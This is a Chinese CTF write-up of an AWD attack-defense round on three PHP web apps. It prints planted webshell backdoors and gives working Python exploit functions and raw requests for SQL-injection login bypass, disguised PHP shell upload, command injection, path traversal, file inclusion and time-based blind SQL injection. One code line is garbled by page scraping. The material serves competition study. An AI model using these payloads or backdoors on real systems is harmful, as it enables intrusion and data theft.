在網絡安全的衆多比賽中,AWD比賽就是這種攻防兼備的比賽形式。
在很多大型網際網路公司中,安全團隊會經常組織攻防模拟演練,目的是以攻促防,提前發現潛在風險,協助提升業務系統安全性和完善安全系統能力,更有效的抵禦黑客攻擊。
在網絡安全的衆多比賽中,AWD比賽就是這種攻防兼備的比賽形式。今天分享的文章是 i 春秋論壇的作者flag0原創的文章,他為我們帶來的是一次AWD比賽的總結,想要了解AWD比賽的小夥伴,這篇文章不容錯過,文章未經許可禁止轉載!
注:i 春秋公衆号旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。
AWD介紹
AWD(Attack With Defense,攻防兼備)是一個非常有意思的模式,你需要在一場比賽裡要扮演攻擊方和防守方,攻者得分,失守者會被扣分。也就是說,攻擊别人的靶機可以擷取 Flag 分數時,别人會被扣分,同時你也要保護自己的主機不被别人得分,以防扣分。
這種模式非常激烈,賽前準備要非常充分,手上要有充足的防守方案和 EXP 攻擊腳本,而且參賽越多,積累的經驗就越多,獲勝的希望就越大。
比賽規則
- 每個團隊配置設定到一個Docker主機,給定Web(Web)/ Pwn(Pwn)使用者權限,通過特定的端口和密碼進行連接配接;
- 每台Docker主機上運作一個網絡服務或其他的服務,需要選手保證其可用性,并嘗試審計代碼,攻擊其他隊伍;
- 選手可以通過使用突破擷取其他隊伍的伺服器的權限,讀取其他伺服器上的标志并送出到平台上;
- 每次成功攻擊可能5分,被攻擊者取代5分;
- 有效攻擊五分鐘一輪。選手需要保證己方服務的可用性,每次服務不可用,替換10分;
- 服務檢測五分鐘一輪;
- 禁止使用任何形式的DOS攻擊,第一次發現扣1000分,第二次發現取消比賽資格。
Web1
首先用D盾進行清除。
預留後門
pass.php
<?php
@eval($_POST['pass']);
?>
很簡單直接的一句話後門
yjh.php
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
//uniqid() 函數基于以微秒計的目前時間,生成一個唯一的 ID
//這裡用于生成session
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");//讀取post内容
if(!extension_loaded('openssl'))//檢查openssl擴充是否已經加載
{//如果沒有openssl
$t="base64_"."decode";
$post=$t($post."");//base64_decode
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; //進行異或加密
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);//aes加密
}
$arr=explode('|',$post);//傳回由字元串組成的數組
$func=$arr[0];
$params=$arr[1];//擷取第二個
class C
{
public function __construct($p) // __construct() 允許在執行個體化一個類之前先執行構造方法
{
eval($p."");//直接eval
}
}
home.php?mod=space&uid=162648 C($params);
}
?>
生成随機密鑰值通過密鑰值對加密,如果伺服器沒有openssl擴充,則與密鑰值進行異或解密,如果有openssl環境,則使用密鑰值進行解密。
搞清楚了代碼邏輯之後,編寫利用腳本。
服務端有openssl擴充的利用腳本
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
def aes_encode(key, text):
key = key.encode()
text = text.encode()
text = pad(text, 16)
model = AES.MODE_CBC # 定義模式
aes = AES.new(key, model, b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0')
enPayload = aes.encrypt(text) # 加密明文
enPayload = base64.encodebytes(enPayload) # 将傳回的位元組型資料轉進行base64編碼
return enPayload
def getBinXie(url):
req = requests.session()
url = url+"/yjh.php"
par = {
'pass':''
}
key = req.get(url,params=par).content
key = str(key,encoding="utf8")
payload = '1|system("cat /flag");'
enPayload = aes_encode(key,payload)
res = req.post(url,enPayload).text
return res
if __name__ == '__main__':
url = "http://localhost"
flag = getBinXie(url)
print(flag)
因為php中加密方式是AES128,是以可以判斷是CBC模式。
服務端沒有openssl擴充的利用腳本
當沒有擴充的時候會執行異或加密
def xorEncode(key,text):
textNew = ""
for i in range(len(text)):
left = ord(text[i])
rigth = ord(key[i+1&15])
textNew += chr(left ^ rigth)
textNew = base64.b64encode(textNew.encode())
textNew = str(textNew,encoding="utf8")
return textNew
def getBinXieXor(url):
req = requests.session()
url = url+"/login/yjh.php"
par = {
'pass':''
}
key = req.get(url,params=par).content
key = str(key,encoding="utf8")
text = "|system('cat /flag');"
enPayload = xorEncode(key,text)
res = req.post(url, enPayload).text
return res
在Web1中,login\yjh.php與pma\binxie2.0.1.php與yjh.php内容是一樣的。
反序列化後門
sqlhelper.php
D盾沒掃出來的,還有一個反序列化後門。
if (isset($_POST['un']) && isset($_GET['x'])){
class A{
public $name;
public $male;
function __destruct(){//析構方法,當這個對象用完之後,會自動執行這個函數中的語句
$a = $this->name;
$a($this->male);//利用點
}
}
unserialize($_POST['un']);
}
$a($this->amle)如果$a=eval;$b=system('cat /flag');
就相當于eval(system("cat /flag"));
構造payload:
<?php
class A{
public $name;
public $male;
function __destruct(){//對象的所有引用都被删除或者當對象被顯式銷毀時執行
$a = $this->name;
$a($this->male);//利用點
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>
獲得反序列化字元串:
O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}
封裝成攻擊函數:
def getSerialize(url):
import requests
url = url + "/sqlhelper.php?x=a"
payload = {
"un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
}
flag = requests.post(url=url,data=payload).content
return str(flag,encoding="utf8").strip()
檔案上傳漏洞
info.php
<?php
include_once "header.php";
include_once "sqlhelper.php";
?>
<?php
if (isset($_POST['address'])) {
$helper = new sqlhelper();
$address = addslashes($_POST['address']);
if (isset($_POST['password'])) {
$password = md5($_POST['password']);
$sql = "UPDATE admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
} else {
$sql = "UPDATE admin SET address='$address' WHERE id=$_SESSION[id]";
}
$res = $helper->execute_dml($sql);
if ($res) {
echo "<script>alert('更新成功');</script>";
}
if (isset($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "錯誤:" . $_FILES["file"]["error"] . "<br>";
} else {
$type = $_FILES["file"]["type"];
if($type=="image/jpeg"){
$name =$_FILES["file"]["name"] ;
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo "<script>alert('檔案已經存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
$helper = new sqlhelper();
$sql = "UPDATE admin SET icon='$name' WHERE id=$_SESSION[id]";
$helper->execute_dml($sql);
}
}else{
echo "<script>alert('不允許上傳的類型');</script>";
}
}
}
}
?>
可以看到檔案上傳的這裡,隻驗證了cron-type,隻要是把其修改為image/jepg就可以上傳任意檔案到assets/images/avatars/目錄下了。
這裡屬于背景頁面有權限控制,必須登陸後才能通路。
<?php
session_start();
if (!isset($_SESSION['username'])){
header('Location: /login');
}
檢視登陸頁面login/index.php
<?php
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
$username=$_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where name='$username' and password='$password';";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
echo $sql;
if ($res->num_rows){
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
$_SESSION['icon'] = $row['icon'];
echo "<script>alert('登入成功');window.location.href='/'</script>";
}else{
echo "<script>alert('使用者名密碼錯誤')</script>";
}
}
SQL語句輸入的部分沒有任何過濾,很明顯存在SQL注入漏洞,可以萬能密碼登陸繞過。
POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close
username=admin'%23&password=ccccc
利用鍊為login/index.php萬能密碼登陸-> info.php任意檔案上傳。
編寫腳本:
def getUPload(url):
import requests
req = requests.session()
datas = {
"username":"admin'#",
"password":""
}
login = req.post(url=url+"login/index.php",data=datas)
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
"Cookie": "PHPSESSID="+login.cookies.items()[0][1]
}
datas = {
"address":"123123"
}
file = {
("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
}
req.post(url+"info.php",headers=head,files=file,data=datas).text
datas = {
"cmd":"system('cat /flag');",
}
flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
return flag.strip()
Web2
同樣先用D盾掃一掃
index.php
<!-- partial -->
<script src="./script.js"></script>
<?php @eval($_POST['nono']);?>
</body>
</html>
images \ pass.php與icon \ pww.php
是和Web1類似,這裡就不再過多描述。
指令執行
connect.php
D盾報警的是這行$r = exec("ping -c 1 $host");
檢視整段的邏輯:
<?php
if ($check == 'net') {
$r = exec("ping -c 1 $host");
if ($r) {
?>
<div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
<span class="badge badge-pill badge-success">Success</span>
網絡通暢
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
} else {
?>
<div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
<span class="badge badge-pill badge-danger">Error</span>
網絡異常
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
}
echo "";
?>
發現并沒有回顯,而是根據狀态來顯示不同的html代碼,其中$host變量是可控的,我們看下是怎麼指派的:
if (isset($_GET['check'])) {
$check = $_GET['check'];
$id = intval($_GET['id']);
$sql = "SELECT host,port from host where id = $id";
$res = $helper->execute_dql($sql);
$row = $res->fetch_assoc();
$host = $row['host'];
$port = $row['port'];
if ($check=='web'){
$location = $host.':'.$port; // Get the URL from the user.
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$res_web = curl_exec($curl);
curl_close($curl);
}
}
可以看到是從資料庫查詢的結果,接着看是如何插入資料庫的:
if (isset($_POST['host'])) {
$host = addslashes($_POST['host']);
$port = intval($_POST['port']);
if ($host && $port) {
$sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
$res = $helper->execute_dml($sql);
echo "<script>alert('成功加入雲主機');</script>";
} else {
echo "<script>alert('不可以為空');</script>";
}
}
在傳入的時候經過了addslashes轉義,但是轉義對指令執行來說沒有什麼作用。
在connect.php中開頭包含了header.php檔案。
<?php
include "header.php";
include_once "sqlhelper.php";
$helper = new sqlhelper();
而header.php中包含了login_require.php在其中有session的檢測。
<?php
session_start();
if (!isset($_SESSION['username'])){
header('Location: /login');
}
在login/index.php中存在的SQL語句沒有經過任何過濾,存在SQL注入,可以使用萬能密碼登陸。
<?php
if (isset($_POST['username'])) {
include_once "../sqlhelper.php";
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where username='$username' and password='$password'";
$help = new sqlhelper();
$res = $help->execute_dql($sql);
if ($res->num_rows) {
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
echo "<script>alert('登入成功');window.location.href='/'</script>";
} else {
echo "<script>alert('使用者名密碼錯誤')</script>";
}
}
?>
構造payload
構造利用payload
POST /connect.php?check=net&id=16 HTTP/1.1
Host: localhost:91
Content-Length: 60
Cache-Control: max-age=0
Origin: http://localhost:91
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:91/connect.php?check=net&id=16
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
Connection: close
host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123
因為沒有回顯是以将标志寫入檔案中,我們直接通路即可。
雖然有session,但是發現不登陸直接通路也可以。
雖然304跳轉,但是卻仍然執行指令了。
編寫利用子產品:
def getExec(url):
import requests
datas = {
"host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
"port":9999
}
requests.post(url+"/connect.php?check=net&id=16",data=datas)#執行指令
flag = requests.get(url+"1.txt").text
return flag.strip()
任意檔案通路
img.php
<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用圖檔頭輸出浏覽器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;
這裡可以利用目錄穿越,直接讀取到flag。
/img.php?img=/../../../../../../flag
def getImg(url):
import requests
param = {
"img":"/../../../../../../flag"
}
flag = requests.get(url+"/img.php",params=param).text
return flag.strip()
<?php
class A{
public $name;
public $male;
function __destruct(){
$a = $this->name;
$a($this->male);
}
}
unserialize($_POST['un']);
?>
這裡的利用和Web1中的利用是一樣的,隻不過少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']參數,用之前的利用子產品即可。
Web3
同樣這裡使用D盾掃一下
隻掃到了一個
export.php
<?php
if (isset($_POST['name'])){
$name = $_POST['name'];
exec("tar -cf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">導出成功,<a href='backup/$name'>點選下載下傳</a></div>";
}
?>
name=||cat /flag > /usr/local/apache2/htdocs/1.txt||
因為這裡沒有回顯是以,也隻能導出flag,或者可以利用這個後門寫入Webshell。
def getExec3(url):
import requests
datas = {
"name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
}
requests.post(url+"/export.php",data=datas)
flag = requests.get(url+"/1.txt").text
return flag.strip()
檔案包含
<?php
include_once "login_require.php";
if (isset($_GET['page'])){
$page = $_GET['page'];
}else{
$page = 'chart.php';
}
?>
<!-- --><?php
include_once "$page";
// ?>
構造payload,直接包含标志檔案(這裡必須登陸,才可以利用)。
index.php?page=../../../../flag
看一下login / index.php
<?php
if (isset($_POST['username'])) {
include_once "../sqlhelper.php";
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
$sql = "SELECT * FROM admin where username='$username' and password='$password'";
var_dump($sql);
$help = new sqlhelper();
$res = $help->execute_dql($sql);
if ($res->num_rows) {
session_start();
$row = $res->fetch_assoc();
$_SESSION['username'] = $username;
$_SESSION['id'] = $row['id'];
echo "<script>alert('登入成功');window.location.href='/'</script>";
} else {
echo "<script>alert('使用者名密碼錯誤')</script>";
}
}
?>
username處被addslashes( )轉義了,而且沒有編碼轉換。
這裡隻能使用預設的賬号密碼登陸,檢視資料庫中密碼。
INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');
經線上解密為123456
我們據此構造利用子產品:
def getInclude(url):
import requests
import re
req = requests.session()
datas = {
"username":"admin",
"password":"123456"
}
login = req.post(url=url+"login/index.php",data=datas)
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
"Cookie": "PHPSESSID="+login.cookies.items()[0][1]
}
param = {
"page":"../../../../flag"
}
rep = req.get(url+"/index.php",params=param,headers=head).text
keys = re.search("flag{(.+?)}",rep)
flag = keys.group(1)
flag = "flag{"+flag+"}"
return flag
這樣就隻有賬号密碼沒有修改的會中招。
SQL注入
order.php
order.php處存在SQL注入漏洞,用延時注入可以注入出來密碼,但是效率有點低。
<?php
include_once "sqlhelper.php";
$helper = new sqlhelper();
if (isset($_POST['name'])) {
$name = addslashes($_POST['name']);
$price = intval($_POST['price']);
if (isset($_FILES)) {
// 允許上傳的圖檔字尾
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 擷取檔案字尾名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)) {
if ($_FILES["file"]["error"] > 0) {
echo "錯誤:" . $_FILES["file"]["error"] . "<br>";
} else {
$filename = $_FILES["file"]["name"];
if (file_exists("upload/" . $_FILES["file"]["name"])) {
echo "<script>alert('檔案已經存在');</script>";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
}
}
} else {
echo "<script>alert('不允許上傳的類型$t');</script>";
}
}
if ($name && $price) {
$sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
$res = $helper->execute_dml($sql);
if ($res){
echo "<script>alert('添加成功');</script>";
}
} else {
echo "<script>alert('添加失敗');</script>";
}
}
這裡的insert語句将'$name', '$price','$filename'帶入了資料庫。
$name = addslashes($_POST['name']);
$price = intval($_POST['price']);
而$ name和$ price經過了處理,隻有$ filename參數可以利用了,可以使用延時注入。
下面附上腳本,可以調用cmd5的接口進行md5解密,但是這個腳本跑下來效率很低。
#coding=utf8
import requests
import time
def getAdminPass(url):
passwdMd5 = ""
md5Api = "https://www.cmd5.com/api.ashx?email=郵箱&key=這裡換上你的key&hash="
for i in range(32):
for c in range(32,127):
payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
print(payload)
file = {
("file", ("{0}".format(payload), "", "image/png"))
}
datas = {
"name": "1",
"price": "2"
}
start_time = time.time()
requests.post(url + "/order.php", data=datas, files=file)
end_time = time.time()
if (end_time - start_time) > 3:
passwdMd5 += chr(c)
print(passwdMd5)
break
passwd = requests.get(md5Api+passwdMd5).text.strip()
errDict = {
0:"解密失敗",
-1:"無效的使用者名密碼",
-2:"餘額不足",
-3:"解密伺服器故障",
-4:"不識别的密文",
-7:"不支援的類型",
-8:"api權限被禁止",
-999:"其它錯誤"
}
if "CMD5-ERROR" in passwd:
index = passwd.rfind(":")
errId = passwd[index+1:]
errStr = errDict.get(int(errId))
return "[-]Error: "+errStr
else:
return passwd.strip()
if __name__ == '__main__':
url = "http://locahost:92"
passwd = getAdminPass(url)
print(passwd)
總結
這次比賽是三個Web兩個Pwn,一共三個小時的時間,比賽過程中驚歎于師傅們的快速審計與突破利用能力,深深的感覺到了差距。